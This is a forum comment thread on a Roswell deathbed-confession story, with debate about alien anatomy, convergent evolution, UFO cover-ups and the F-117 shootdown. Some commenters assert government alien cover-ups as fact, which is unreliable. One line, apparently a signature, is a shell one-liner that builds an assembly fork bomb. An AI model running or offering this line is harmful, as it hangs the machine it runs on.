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Deathbed Confession Says Aliens Were at Roswell
xnuandax writes "The army's explanation of weather balloons in the Roswell, New Mexico incident 60 years ago has been dealt a serious public relations blow. Late Army Lt. Walter Haut had signed a sealed affidavit prior to his death last year asserting that he had witnessed the wreckage of an egg-shaped craft and its extraterrestrial crew while working at the Roswell Army Air Field. An article at News.com.au reviews how Haut had worked as public relations officer for the Roswell base and was involved in the original weather balloon explanation of events at the time. This recent evidence would seem to confirm speculation that egg-shaped saucers are notoriously difficult to fly safely at low altitude."
As much as I want to believe aliens are among us, it just doesn't make sense that a civilization advanced enough to cross interstellar space would crash in New Mexico. And the chances of aliens being humanoid in appearance are close to zero.
First off, it may be that the visitors have a limited budget, just like anything we do does. One allocates the risk based on this budget. Even though we may have the money to make or buy the Ultimate Safest Volvo, it does not mean we will.
As far as appearence, here are some possibilities:
1. They are interested in us *because* we look like them.
2. They are us from the future.
3. We are a degerate form of them.
4. The human-like form is somewhat universal after all.
Table-ized A.I.
You gotta admit, a deathbed confession deisgned to perpeutate a myth would be pretty funny. I'd be laughing all the way to the mortuary, if it were me...
What the hell are you talking about!
Humans are a result of the natural evolutionary process on this planet. We are "humanoid" because it's an efficient shape to have. I think it's fairly likely that there *are* aliens with a humanoid shape (two legs, arms), given that there *are* planets, out there, similar to earth. Is it so difficult to imagine that given similar conditions, life on a different planets could converge towards similar solutions to the same problem of survival in nature?
I would love to leave behind one last, great practical joke such as this.
A drop of water is the same shape in any atmosphere (relative to temperature and gravity), so who would argue that people wouldn't kinda take the same basic shape anyway? If they crashed, the idea they were of higher intelligence sheds new light on theories of their conquering ways. They came to Earth likely to give us an intergalactic hug and US air force likely shot them down, thinking they were Russians.
... ... We're all stupid!!
Boy were they surprised!
The mystifying result of that accident sheds light on the nature of the universe itself...
The dangers of knowledge trigger emotional distress in human beings.
And given the huge number of people deployed to cover many acres looking to retrieve SMALL debris, no weather balloon or Russian nuke detector payload would have justified such effort. And several local people did find and see unusual materials, notably thin yet very strong metallic foil. That was not a technology of the time. Unless we had some form of stiff Mylar, but why aluminize it for a 1947 balloon? And we didn't really have any vacuum-deposition for plastic films technology back then. Remember, plastics technology of the time was limited to Bakelite and other hard chunky plastics, not thin films; the plastics revolution had not yet occurred. Cellophane maybe but nothing better.
And in particular, why would they have rushed to gather a large amount of dry ice, as a local coroner noted occurred, unless there was something likely to chemically or biologically degrade?
As for the chances of aliens being humanoid in appearance close to zero, I refute that simply by pointing to Dick Cheney.
No, we are not humanoid because it is efficient, we are humanoid because that's just the way it turned out, and it wasn't detrimental to breeding.
People ascribe far too much purpose and design to evolution.
Seriously folk, why should we listen to people on their death bed or to voices from beyond the grave? Do we really think that when people have nothing to lose or are dead they somehow get enlightened and honest?
Engineering is the art of compromise.
However, it would be kinda strange for an individual or crew capable of navigating a craft at least twenty four trillion miles to not know how to fly a spacecraft well enough to avoid crashing.
It's likely that 99.999999+% of that distance was interstellar space, not in any planet's atmosphere or near any large object's gravity. It's also most likely it was on autopilot most of the time.
Of course, it's also unlikely they'd bother traveling that far and not prepare for such flight. But how easy could it be to fly an egg?
Developers: We can use your help.
'it would be kinda strange for an individual or crew capable of navigating a craft at least twenty four trillion miles to not know how to fly a spacecraft well enough to avoid crashing.'
I don't see how that is unusual at all. They navigated the craft at least twenty four trillion miles THROUGH SPACE before crashing it in a unique and completely alien atmosphere with flight conditions they have never encountered before and that their craft obviously weren't designed to handle.
That doesn't seem all that strange to me.
I assume 99% of UFO sightings have reasonable explanations including that some of the witnesses are crazy and or lying.
Also I don't believe in ghosts, I've never seen a UFO, and I certainly don't subscribe to any conspiracy theories. I believe we live in a rational well ordered universe, however I read something like this:
http://en.wikipedia.org/wiki/Phoenix_Lights
Where:
1) Hundreds, possibly thousands, of people witness a gigantic V shaped craft up with lights on its leading edge sitting on top of Phoenix.
2) One of the witnesses is the govenor of the state who for ten years is too intimidated to say anything.
3) The event is video taped.
I need an explanation, that isn't flares, cause that explanation stinks. I have to believe a large silent triangle craft exists and that one of the following explanations are true:
1) The craft is built and operated by the US military and they have become so careless as to very slowly fly their top secret, mega sized creation over a large American city.
2) The craft doesn't belong to them.
Sorry I just don't believe this can be explained away by flares and I simply can't ignore it either. Perhaps the most interesting part is the socialogical effect that people will simply ignore an anomoly like this if given a explanation, no matter how weak that explanation is. Perhaps there is a perfectly *realistic* explanation, but I require one. I have a feeling that if a fleet of UFO's landed on the White House lawn and flew away a few hours later, the goverment would say it was just a publicity stunt for a new movie or some other weak ass explanation. This would allow people to explain it away and go about there lives like nothing really happened. Seriously is there any event that can't be explained away with some weakly plausible hypothesis?
Big deal 1 guy admits it, the video below shows 22 of 400 senior Government, NASA, Airfoce & other top Military personel admitting it on National/International television that aliens are real & Gov has been hiding it.
The Disclosure Project:
http://www.youtube.com/watch?v=7vyVe-6YdUk
Yeah it's almost 2 hours long, but it will blow your mind!
I wonder how much longer they can keep denying the more than obvious.
Nuff said.
Adeptus
No trees were killed in the making of this post; however, many trillions of electrons were horribly inconvenienced.
I believe the first F-117 Stealth (invisible to all high tech anti-air defenses) was brought down over Serbia by an AK-47. The Pentagon story is it was brought down with an SA-3 with a hacked radar, but either way a primitive tool brought it down.
Unless they employed eugenics at some point in their history, there's no guarantee that even an advanced society doesn't have "normal" people. That's something that always pissed me off about Star Trek (even as a fan): everyone was a super-genius, unless you dedicated yourself to raising grapes in France or you were a junior member of an away team. ;-)
You need to think about British Teeth. British people (including me) tend to have crooked teeth. Americans tend not to. Now why I was growing up, the dentist employed a receptionist who's job was to keep people away. The dentist you see got paid pretty well just to be there, he had no financial incentive to treat people. Now in America, it's presumably not the same - dentists actively market cosmetic dental treatment, because that's where the money is. And parents will scrape together the money to pay for it.
Now in civilisation a few hundred years more advanced but still free, it's likely that all sorts of medical treatments would be available, everything from teeth straightening to IQ enhancements and drugs that make you look healthy or age less quickly. In which case, you wouldn't meet anyone stupid or ugly.
Come to think of it Scandinavia is not particularly capitalist but the same would probably apply there. I think unless we end up in some totalitarian dystopia, it's probably inevitable.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Why can't our clever cephalopods put their smelters above water?
Not if you use rocks, which incidentally were the first tools used on land, and which are are even now used by semi-aquatic nonhumans. You can progress beyond that using glasses, crystals, and composites.
However, we're only scratching the surface when it comes to solving the general relativity equation. For instance, one solution of the GR equation consists of a wormhole that allows one to exit this universe into... who knows? One possible solution is extensible, allowing a hypothetical space traveller to travel into a completely different universe, or potentially a different region of our own universe. Some solutions are so bizarre that causality is violated, e.g. the solution of the spinning charged black hole, which has a ring singularity and a region where "time" becomes circular and loops back on itself. Admittedly, some of these solutions are considered "unphysical", but it's not clear yet why they are unphysical, what prevents them from happening. It's not even clear that they are impossible yet. All we know is that there is some truly bizarre stuff out there and we don't understand it all.
Sadly, though, if a traveller did ever manage to survive going through such a wormhole, the GR solutions appear to indicate that there is no way back... but as you can imagine, none of this is certain as yet. Maybe there are terms in the GR eqn that are missing. Maybe a theory of quantum gravity would prevent any of this from happening. Who knows?
>Haut then tells how Colonel Blanchard took him to "Building 84" - one of >the hangars at Roswell - and showed him the craft itself. I think it's unlikely that the base commander would show something this top secret to a lowly press officer. Think of it this way, suddenly a UFO shows up, the Feds charge you as the Base Commander to clean up the site, hide the UFO and bodies and most of all, try your best to minimize the number of possible leaks of this information. So you're not going to go out of your way and show the stuff to the base press officer. He has no need to know, it would be better for you to feed him the same cover story as he's going to give the press.
Let me brainstorm for a minute. Don't take any of this as gospel, I'm neither an evolutionary biologist nor especially knowledgable about life on other planets
Not necessarily. There's only so many variations on relative sensory organ placement, and many of them will not work as well in a variety of environments as ours does. If your eyes are below your nose, for example, then your breathing passage has to go down past the eyes, while your optic nerve has to wend around the breathing passage. This is obviously doable, and I wouldn't be surprised if there are some species that work this way, but it seems likely that the reason most animals have the setup we do, after three billion years of evolution, is that it works really well in almost all situations.
Even organisms that evolve on other planets are subject to the same laws of physics as the ones here; six-foot-tall exoskeletal insects are not feasible, simply because exoskeletal structures can't support the weight of a creature six feet tall. (Or so I've been led to believe.) But it requires a brain of a certain size in order to develop general intelligence capable of abstract thought and problem-solving the way humans can. Combine those two and it's easy to see that creatures can't really be small enough to have an exoskeleton and yet also large enough to have a brain capable of human-level intelligence.
And intelligence isn't just brainpower; it's also the ability to manipulate the environment in order to experiment upon it. This requires appendages with fine enough motor control to manipulate small objects in a precise manner, which pretty much rules out any sea creature: Sea creatures need flattened, webbed appendages in order to swim, and those wouldn't be very good at fine manipulation. Fish-people ain't gonna happen.
Okay, that's enough speculation. But I do think it's not THAT unlikely that other intelligent races would be bipedal, upright, large-brained, and endowed with fine manipulators on their upper appendages. Maybe they'd have evolved from catlike or doglike or birdlike creatures instead of apelike creatures, but...
"Destroy science and religion. Science would re-emerge exactly the same; but not religion." - Penn Jillette, paraphrased
But you also have convergent evolution. Thus, the eye has arisen independently some 22 times in the tree of life, IIRC. You mention the head, which has been a reproductively successful adaptation. What I'm saying is not that the first successful body-plan that happen to evolve was the head and thorax, so that's what all descendants got. What I'm saying is that the environment selects body-plans that are beneficial, which is why we observe example of convergent evolution, such as legs and wings in chordates and insects.
As an example, we have radially symmetrical animals, such as jellyfish, and bilaterally symmetrical animals, such as chordates. Stephen Pinker talks about how any animal navigating an environment with gravity would benefit from a bilaterally symmetrical body plan. Thus we might reasonably conclude that any life form on a planet that can randomly evolve a bilaterally symmetrical body would have reproductive success. Once you have bilaterally symmetry, I don't think it's too much of a leap to think they could evolve legs, useful on land and water, and heads with brains. Once you have legs, then you can evolve manipulative appendages, such as hands. If you have two legs, you might not do too much manipulation with them, because you benefit more from them being evolved more for walking than manipulation. But if you have an extra pair of legs ( if the animal is bilaterally symmetric, it probably wouldn't have 3 or 5 ), then you might start using the extra pair to manipulate objects all the time, instead of walking on them. Then the lineage would experience selection for better and better tool manipulation with its extra legs -- so they become 'hands'. Once you're walking on one pair of legs, and manipulating objects with the other, bingo! -- you've got a humanoid.
So once you can accept that a body plan of a torso, which has all your organs for digesting food and eliminating waster, and a head, for sensing the environment and thinking about it, is a body-plan that was successful and therefore selected, rather than just a random body plan that was just passed on, it's not to much of a leap to say that one of those walking animals stood up and used two of those legs to manipulate objects instead of walk. And if convergent evolution can happen among independent lineages here on earth, why not in similar environments, like a rocky planet, somewhere else in space? Is it too much of a stretch to imagine wings or eyes evolving in extra-terrestrial animals? How about then legs or arms and hands?
To describe a 'humanoid', all you need is an upright torso with a head, two legs for locomotion, and two manipulative hands. I don't think it's too far of a stretch to say that such a body plan for an intelligent, conscious, tool-making creature would be selected in a convergent evolution scenario.
Then the question is, animals of what body-plan would be developing vehicles that can travel interstallar space? Elephants and dolphins might be as smart as we are, but without appendages to manipulate objects, they can't really build tools, buildings, or vehicles. Once you have manipulative appendages, then evolution might select animals who can better manipulate objects and their environment. That means they get smarter. Learning and technology develop. Then you get tools, buildings, and vehicles. So, there may be a lot of different intelligent animals with weird body plans, such as a radially-symmetrical jelly-fish like creature. But without the manipulative structures, such as hands, we wouldn't expect them to be building space ships, and winding up landing or crash-landing on other planets.
Computers are useless. They can only give you answers.
-- Pablo Picasso
Organized religion as we know it would probably crumble
You mean kind of like how, in the face of proof of things like how the universe didn't revolve around the earth, the Catholic Church changed its views on cosmology.
Oh wait. No, they opted for things along the lines of killing the people who presented the evidence instead. My bad.
*Never* underestimate the lengths that people in power will go to in order to remain in power.
Everything I need to know I learned by killing smart people and eating their brains.
I was watching a show where some biologists were in a helicopter, shooting grizzly bears with darts, and then tagging them to track them, and also drawing samples from them.
I realized that that bear would have what we would essentially describe as an abduction experience. The bear was just minding its own business, when a strange vehicle in the sky with humanoids appeared. Suddenly, it felt a pain in its rear, and everything seemed fuzzy and dreamlike. Then the humanoids performed a weird surgery on it, drawing blood and other tissue, and implanting a small device in it. When it woke up, it's memory was incomplete.
And what was the ultimate purpose of the humanoids? They wanted to see how it reproduced! Just like what those abduction people claim aliens are interested in us about. Performing weird experiments on our genitals, taking samples, and implanting small objects. Debunkers will say that this is evidence of the Freudian human subconscious creating the experience -- of course, it turns out to be about sex, because humans are dirty little creatures who are fantasizing all the time. Real aliens would be heavenly, like angels, and never think about such dirty, devilish things, only being interested in 'higher' things, like math, science, and art.
But wait! The whole 'project' of life is reproducing -- i.e. sex. To say that aliens would only be interested in mathematics, philosophy, sharing knowledge, and are some kind of celibate race, is looking at it from a Victorian sexually-repressed world-view. Living organisms, or Life itself, by definition, is all about reproduction. We should think that, from evidence, the first things aliens would want to know about us is how we reproduce, what our private parts look like, and how they work. Do we have male and female? Do we lay eggs? Do we take care of our young? Do we live in groups or alone? Are we in symbiosis with another organism? Everything else you would want to know about humans comes from that. Our reproductive biology is the basis of our existence.
Computers are useless. They can only give you answers.
-- Pablo Picasso
"Soldier, report to base. There's just been a crash of a UFO, and bodies have been recovered!"
"Sir, why is your face growing leaves? I'm gonna bake a stew made of lizards, and offer it to the Sun God. Maybe those aliens are here to help humanity enlighten us. You should smell what they look like and get back to me. If you don't, it doesn't matter anyways. The octopuses will help us. Blankets, blankets, blankets. You know, my mom was a great book-- er, cook, but she loved my brother more than she loved me."
Even if you set up dummy props with a fake UFO and bodies, and get other officers to play along, somebody on LSD or mushrooms might be more concerned about the inherent, transcendent beauty of desert plants, figuring out their relationship with their parents, or terrified of an invisible chicken, rather than going along with your fake UFO scenario. In fact, I would say that introducing hallucinogens into the mix would make then *less* likely to go along with your fake scenario, because hallucinogens alter your experience of reality, leading you to question then foundations of perception, your paradigm, and the workings of society, collective consciousness, mass media, the hierarchical structure of the military, etc. etc. That's why hippies and other serious hallucinogen users have all kinds of weird ideas about reality and society. They question everything, and get all kinds of weird answers. You won't find them agreeing on *anything*.
A better way to try the experiment is set it all up and leave out the LSD. Then you don't have any soldiers or officers questioning reality, including this UFO crash.
Computers are useless. They can only give you answers.
-- Pablo Picasso
You are correct that you really don't get hard evidence for alien spacecraft visiting Earth from watching the Disclosure Project. However, if you take the evidence that people present, from radar evidence to fighter jet scrambles to cover-ups from high-up in the chain of command, you begin to see that the world's governments and militaries are putting a lot of effort and energy into making sure that the laypeople remain ignorant and unaware of *something* that is happening in the skies and space.
The most skeptical conclusion I can come to is that they don't really understand it -- it could be something weird like ball lightning that appears and acts like vessels -- but so far, it hasn't proved harmful or out of control enough to warrant the need to explain it to the public. The job of the military and government is to protect us. Actually, it's more than their job -- the psychological need of human beings to think that somebody is out there, protecting us from dangers, is what has allowed the institutions of military and government to exist since the dawn of humanity. People *need* the government and military, or else they would be out there all on their own in the Big Scary Universe, psychologically speaking. If the common person found out that there was some phenomenon out there that the government or military really didn't understand, but could be potentially dangerous, people would lose faith in our societal institutions. And the people in charge would fall out of power -- or at the very least, there would be a big shake up. This is why they're covering it up. Space aliens or ball lightning, it means they will have a hard time winning the next election.
Computers are useless. They can only give you answers.
-- Pablo Picasso
I think the brain is in a separate, moveable part of the body because the nerves that send the pictures from the eyes to the brain can only be so long. A LOT of data is needed to see, and nerves are not very fast in transporting data, so you need your eyes close to the brain. And of course it's very handy to be able to move your eyes around without having to move your whole body around. Hence the configuration we see in almost all animals on earth. This is the reason why Larry Niven's Pierson's Puppeteer is unlikely to really exist on a planet like ours.
-- Cheers!
Simple. Their magnetic bottle lost containment. Titanium may be tough (at the right thicknesses, etc) but when the jet it's attached to goes kerplooey, you don't see pristine sheets of the stuff spanging off the ground.
:P
Just because WE can't find a means of damaging, distorting, or otherwise rending a material doesn't mean the forces it contained weren't great enough to do so.
Convergent evolution is very well established though. Consider dolphins and sharks - their common ancestors are further back than when pre-dolphins started living in the water, but both have developed similar hydrodynamic shapes and move through the water by wriggling their bodies. The most interesting bit is that although both creatures move using the same principles, sharks wriggle side-to-side while dolphins wriggle up-down. It is reasonable to expect that useful adaptations will be developed independantly since there are only a few good solutions to most problems.
Eyes are another good example - they've been independantly developed several times, but there are only a couple of sensible ways to make them so unrelated eyes still usually look the same. Not always of course, I think octopi use a pinhole camera eye rather than a lens eye.
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Why should we expect aliens flying spacecraft to be more competent than humans driving cars or flying small personal aircraft?
There is no evidence that the roswell craft assuming it existed was anything more than a small landing craft
quite possibly incapable of interstellar flight. Likewise most human being flying on space shuttle or commercial
aircraft could not pilot the craft to literally save their life.
The "wheel" vs. "tire" terminology point is correct, but "no bolts required" is still not quite right.
;-)
Although they're much less common than one-piece wheels, many trucks use 2-piece wheels which have two halves that bolt together around the tire. This allows tires to be changed without needing to stretch the tire over the rim with tire irons. I have a military-surplus HMMWV which has such wheels, and I've changed the tires on them myself.
Automobile and light truck tires are usually mounted and dismounted with tire-changing machines these days, but tires on commercial trucks and industrial machines are still commonly changed the old-fashioned way with tire irons and a tire hammer. 2-piece rims (whether bolt-together, split rim, split locking ring, etc.) can make that job easier, especially if the tire needs to be changed in the field. I speak from personal experience here.
If you compare the number of Soviet recon aircraft the US has shot down vs the number the US has lost
And how many soviet recon aircraft flew over US territory? (This is a serious question, I never heard about such incidents.)
If you have a look at what paleontologists have reconstructed since the 1960's from the Burgess shale, you will see forms that ARE really weird.
I'm sorry but this is just not a conversation that makes any sense. We haven't even got the vaguest idea of what the boundaries are for the conversation "What is Life?". The idea that a species evolving in a different environment, I mean really different, is going to in any way resemble human beings, is simply ludicrous. You gotta cut back on the Star Trek, the numerous humanoid aliens there are simply a function of make-up vs. CGI budget.
We (human beings) are running around with DNA from an ancient ancestor that had 5 fold symmetry, 4 limbs + head, 5 fingers on each hand, five toes on each foot, and five primary orifices in the skull (think inverted appendage.) Before that we inherited DNA from a worm... if you look at a human body morphologically we're worms that evolved better means of locomotion, and the ability to manipulate our local environment. Any alien you see owning a head with a face you can recognize, a spine, and limbs would have had to evolve on this planet. There are trillions of evolutionary paths that could have made life on earth wildly different, and to assume the path that produced us is the only path that could have produced sentient life with the ability to manipulate it's environment is not only myopic, it's homocentric to a fault.
I won't argue that certain structures would prove useful on earth and evolve repeatedly given our enviornment. Even on earh, however there are vastly different organism operating in wildly different circumstances, no light, crushing pressure and heat, sulphur as an energy cycle, even organisms that exist in ultracold and environments lacking oxygen. That's just on this planet, using precisely the same DNA, and carbon based biology.
I could easily imagine life based on completely different chemistry... carbon will usually be the most likely chemical backbone, though at higher temperatures sillicon and metals might combine in very interesting ways. Sensing is a vital characteristic of life, but organs of sense might be tremendously different for another species. They might sense any or all parts of the electromagnetic spectrum, and do so with organs very different from ours. How and what they consume and excrete might be very different than what we understand... even on earth what animals breath out, plants breath in... what might setient beings who move as slowly as plants occur to us like? Plants have powerful sensory capabilities, but they are very unlike humanoids.
On earth the octopus is a prime example of a mollusk well on it's way to becoming a technological intelligence. Here's an animal with much in common with human beings but also very alien... communication through melenophores... that's way ourside our normal thinking, and this is an intelligent terrestrial species. How much more different might a being be that evolved in a cold methane lake, or whose fundamental chemisty is composed of complex sugars instead of proteins.
You're going to have to stretch your head a whole lot more if you're goin to imagine life elsewhere. The chances of it being a lot like us is slim at best. Anyway you're going to have to sift through a lot of microoganisms before you find any larger than unicellular life out there. Of course, there's nothing preventing unicellular communities from becoming sentient. That's a kind of life we should be very careful not to miss, simply because it doesn't look like us.
Indeed. -A ship which may well have been moving at speeds several orders of magnitude greater than any human jet was capable of at the time.
-FL
I have wondered whether anyone has ever studied the question of how connected the brain and the eye are evolutionarily.
EYes are really the first localized sense that develops in the body - as I understand it, during the development of the embryo, the eyes actually start out as brain material that specializes. So did the eyes actually develop out of a previously existing cluster of neurons, or did highly efficient clusters of neurons develop in lockstep with the immediately behind the eyes as they became sharper and more useful simply because so much processing capacity was required right there, close by.
And once you have a lot of processing capacity nearby, it's not the long a reach for mother nature to start building the decision making algorithms nearby - I mean, if you've got all this hardware there anyway, you might as well start using it during the 8 hour maintenance cycle for contingency planning and such.
If that works, we might even add extra capacity for processing during the day shift. No promise though, we'll see how this works out . . . [G]
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An Invisible Entity of Vast Power whose existence must be taken on faith alone: Liberal Media
And the evolution of those eyes are determined by Environment * Ease of Evolution * Chance
We're 10x as sensitive to green as to red at least partially because when that photosensitive pigment evolved, our ancestors were forest dwellers (this happened relatively recently, only occurring in apes and certain monkeys). Our spectral peaks don't cover even a single power of two between them because it's harder to focus different wavelengths using the same lense. And the spectral territory we happened upon is where a high proportion of visible light occurs, because with a strong ozone layer and long lifespans(most pigments can't hold up to ionizing radiation), there's not much point trying to see in bloody UVA. The sky is blue, blood is red, and the plants are green-yellow-brown. These things needed to be fit into an omnivorous diurnal mammal, though our 'red' receptor is much less sensitive, because it peaks over the yellow portion in most people(Evolutionary advantage to resolving yellow grass and camo > evolutionary advantage to resolving blood).
Interestingly, color sensitivity is a highly polymorphic trait. It's possible that this is advantageous in itself, advantageous enough that carriers can deal with the occasionally colorblind result in exchange for the benefit - a population can easily shift environments entirely in only a few generations and retain excellent vision.
People in Soviet Russia, however, appear to be afflicted with amusing juxtapositions of the aforementioned situation
Need to know what? UFO's weren't classified in the 1940's. They were new and weird. The military and political structures of the day were making it up as they went with regard to the super-paranoid secrecy structures we are so familiar with today. That's why the Roswell staff made the decision to broadcast to the world that they had retrieved a crashed flying saucer. They didn't have standing orders not to.
--And I imagine that if you work on a dull little air training base in the middle of nowhere, when something like a crashed UFO enters your life, you might consider it awe-inspiring and important to all humans on the Earth. You might think that the rational thing to do would be to share news of it with the world. The gues at Roswell weren't paranoid presidential military advisors. They were Air Force working stiffs posted in the middle of nowhere on a boring little training base.
Of course, when the brass from the important parts of the military showed up, they put an end to that. The gears of secrecy had been beginning to turn in Washington for a few years with regard to UFO's, and though there was no official doctrine at that point, when a UFO crashed in your backyard, the government had enough paranoid minds at the top to know it was in their best interest to lock everything down tight. So the Roswell staff was forced to officially retract the original story and replace it with the tin-foil balloon thing.
-FL
I hate to spoil your deeply-researched argument, but the fact that 75% of the US considers themselves christian does not mean that 3/4 of the population is vehemently opposed to science and stuff like evolution. While some of the more extremist christians like to pretend that they speak for all of the rest of us, most of us don't care much for what they're saying. I've read some stuff about a strict creationist believers having a crisis of faith when coming across something like 10,000 year old construction, but for most of us, our belief in God (and/or Jesus/etc.) does not require us to take the Bible as 100% fact, or to assume that science is a tool of the devil to trick us.
As a geek who strongly believes that there is a God, I find that the more I learn about the universe, the earth, biology, etc... the stronger my beliefs become. After all, what's more impressive; A god who just magically wills everything into being, or a God that oversees an incredibly rich, complex, and fascinating universe for its inhabitants to explore?
One time I threw a brick at a duck.
Why is the only mention of this in an Australian paper and on a Roswell website? And, if you had such a document, wouldn't you scan it and make the scans available?
:-)
Yeah. I thought so.
Oh, and the reason the "egg" had no control surfaces, windows, etc?
It was an escape pod.
(open the pod bay doors, please, Hal)
Unlikely. Civillian flights have to follow flight-plans which constrains you to fixed corridors without much deviation allowed. Over Europe there was a big slice of heavily restricted airspace called the ADIZ where flights had to followed fixed paths and maintain contact with the appropriate ATC.
Most Soviet teaser missions were with straight military aircraft such as the "bear" bomber. No ambiguity there, they were clearly military aircraft and were marked as such. In any case the Russians would not put any high-tech military gear onto an aircraft that landed in an unfriendly country. They were paranoid about their technology (and how backwards it was at the time). What may have been confuing though are aircraft like the Tu-134 with a glass nose, looking very much like "Crusty", its bombing variant. These apparantly were dual-use and could be used for recon.
Well, to play devil's advocate, who is history's greatest engineer? Probably Archimedes. Now take a piece of hardware that embodies a good selection of modern technology. Since this is slashdot, let's say an iPhone. Drop it out a 10th floor window, pick up the remains and shoot it back through a time machine to Archimedes' house, say around 232 BCE.
There is little doubt he would recognize it as a piece of advanced technology, from the materials alone. Yet, exactly how likely is it he'd glean anything that would be useful in repelling the Romans invaders who killed him twenty years later?
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In my mind, they didn't crash or get shot down, but rather suffered a containment failure or other catastrophic equipment failure on one of their craft.
If this technology weren't cutting edge or experimental, we would likely have seen a lot more of these things by now. Where are the alien opportunists, for example, if just any of them can hop in an egg and land here? No, if it is at all possible that the Roswell incident happened as described here, we're not looking at an accomplished, routinely-travels-to-earth species. Rather one like we were at the earliest crossings of the Atlantic.
I also think that this could be why we're not seeing more and more reports of these types of incidents. This one was a fluke, and had almost nothing to do with the military being there (except perhaps some alien tourism...)
First off, who says they were aliens. Just because in the last 24,000 years we've had the planet to ourselves as the sole suriving species in the Homo genus doesn't make that normal. For more than 80% of our 130,000 year existence on this planet, we've shared it with other intelligent hominids. Now consider that the oldest civilization from which we can draw a line to our modern civilization would be the Egyptians. From the time agriculture was introduced to Egypt to our modern level of technological development is a mere nine thousand years, or scarcely seven percent of our species existence. And there is little reason to believe this is an exceptionally short developmental time -- quite the contrary. Humans did not even have the chimney until late medieval times. Imagine how things would have been different if movable type had been invented in Roman times.
So it's quite possible to imagine another homo species, perhaps with a little head start, perhaps with a little more brain power, perhaps with a little more luck, producing a civilization far in advance of ours at a time when we did not have writing. And since a technologically advanced civilization has less need for raw human muscle power, their fertility rate would be low. They'd have been like distant gods to us.
Assuming the large headed "aliens" were in fact humans of a different species, the "alien" craft would actually be terrestrial. Since these craft started appearing around the mid 20th century, it is reasonable to assume that they are indeed space exploration craft, possibly sent out to explore a nearby star system with a crew in suspended animation.
The crash is likewise easily explained. The returning craft rendezvous in orbit, but find no trace of the Atlantean civilization that sent them. Patrols are sent out around the globe which is swarming with tiny headed barbarians. One of the patrols comes upon the Sphinx, and the dread news flashes out to all the ships in the flotilla. "You Maniacs!" cries one of the pilots, "You blew it up! Ah, damn you! Anubis damn you all to Ammit!" He commits suicide by crashing his vessel.
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Let's add to the furvor of your thinking pattern.
funny how computing exploded in capabilities right after that date.
Strange how electronics jumped 10 fold giving us a rapid advance in technology.
rocket designs improved, lots of technological advancments started after that dat that were faster than ever recorded in histroy.
Velcro.. Yeah that was a NASA invention, riiiiight. I bet the egg was full of the stuff.
The funny part is that talking like that really riles up the conspiracy nutjobs. They get wild eyes and start yelling "You're right! OH MY GOD! YOUR RIGHT!"
and start calling friends about their new proof that the aliens were real because of technology.
Do not look at laser with remaining good eye.
Why did you chose to compare Iraq with Germany and Japan? There are hundreds of examples of occupied countries that fought back against their invaders. The case of France in WW2 when the resistance movement was a very important factor in weakening Germany. Several African and South American countries resisted European invaders for centuries. The Irish revolted against English occupation for 800 years until they got an independent government. You can't just cherrypick a couple of examples from a sample space of hundreds and try to build a cohesive argument on it. Like it or not, Saddam seems to have kept Iraq reasonably stable compared to the mess that Bush and Cheney are making of it.
"There is no instance of a country having benefited from prolonged warfare" - Sun Tzu
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If they are alien, why would their cellular structure be the same as ours? They might not even have DNA as we know it, so a cell going bonkers and repeating itself might not affect them. If it did affect them, it would probably be much different from our cancer.
For what it's worth, I attended New Mexico Tech (not too far north of Roswell) in the early 1980s and as part of a paranormal psychology class I wrote a paper on the Roswell Incident. For that paper I interviewed one of the physics teachers at the school WHO LAUNCHED THE WEATHER BALLOON THEY FOUND. He showed me dozens of letters he had written over the years to authors of various UFO books explaining the science project he had attached to the balloon, showing pictures of it, etc. Of course his side of the story was never printed by any of them.
Just want everyone to know, it is impossible to make any aircraft "stealth" to all frequency ranges. Mind you that an aircraft must use some metal parts (conductors) as parts of the engine. The bigger the metal part the lower the frequency it reflects. The lower the frequency, the harder is to hide it from the radar beam.
The "facts" I know ( and You will have to believe me on that )
1. The radar was "hacked". It was an vintage radar working on VHF or UHF range.
2. The F-117A was flying low.
3. The F-177A was hit by an manually guided missile. There was no direct hit.
4. The aircraft crashed down and burned down almost completely because the Serbian soldiers that came to the site did not want / did not have an order to put the fire out.
The guy that hacked the radar was my high school friend. He said to me that the main issue with the hacked radar was slow scan time. That made guiding the missile tricky.
The other friend of mine that was in the vicinity of the F-117A crash site and came to it said that aircraft was damaged by gunfire ( AK-47 for sure ) but the main damage was due to blast and large shrapnel's. The soldiers had an order to guard the crash site and they just let the wrecked plane burn down. Shit happens when one lives in Serbia.
The point of this story is that the primitive tools can bring down high tech systems if they are unexpected.
Back to topic:
1. The article mentions the egg-shaped alien craft. This is quite odd. I taught aliens have the saucer shaped crafts. Or saucer-shaped was Nazis craft.
2. What kept this guy silent for years ?
3. The mentioned craft was rather small. Could it be an escape pod from the larger craft ? If it is where is the big one ?
4. The whole Roswell story looked like an US military cover up for the spying program. Aliens fit in there like a perfect decoy. Now some old pa says it was the aliens.
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The Roses are red, the Violets are blue, in Serbian aerospace hacked radar brings down F-117@You!!!
You just love insulting people, don't you. Well, I do too. We know very little about each other and although I could make a great many assumptions about you, they would be as equally erroneous as the ones you seem to have made about me. After seeing your name, I recognized we've made comments back and forth of equally insulting nature. Would I be making an erroneous assumption that you are a disturbed individual based on the nature of your personal attacks on me?
Either I'm a far more terrible person than I think I am, or you're mis-interpreting my comments.
I just re-read my last post, and I really don't think I said anything which was insulting to you. I made very sure to qualify my comments in such a way that they responded only to what you were saying and to explain what might be easily inferred from what you were saying. --You told me directly in that you think it's cool and acceptable to mislead people for fun and profit. If that's not how you really feel, then why on earth would you represent yourself as such? Any insult or unhappiness you perceive from my pointing out the difficulties which result in living life in that manner is coming from within you.
My comments about false skepticism being like sewage is I think, as I said, appropriate. Dogmatic belief doesn't allow fresh ideas in, and it allows false knowledge to grow and fester. That's what sewage is; liquid waste which isn't being flushed away by fresh water. Again, any insult taken from that is hardly my fault. I'm just holding up a mirror. And whether or not you believe me when I say it, it is true; I do not mean any disrespect towards you. And anyway, I wasn't directing the Skeptic thing at you. I was just commenting on the phenomenon at large. If you chose to take it personally, then again, that is a choice you made for some reason which only you can answer to.
As for your thoughts regarding UFO's, I am absolutely interested. If you have information which lead you to the belief that UFOs are all 'chaf', then I really want to know it! Jeez. If you know something which is so very convincing, then it either must be really solid, (in which case, I want to know it too,) or it's faulty. However, based on the work I have put into looking at this, and all the patterns I have seen over, and over again, I am not banking on your being able to tell me anything I've not already heard and seen the flaws with, but who knows? I've been wrong before and I am not scared of being wrong again.
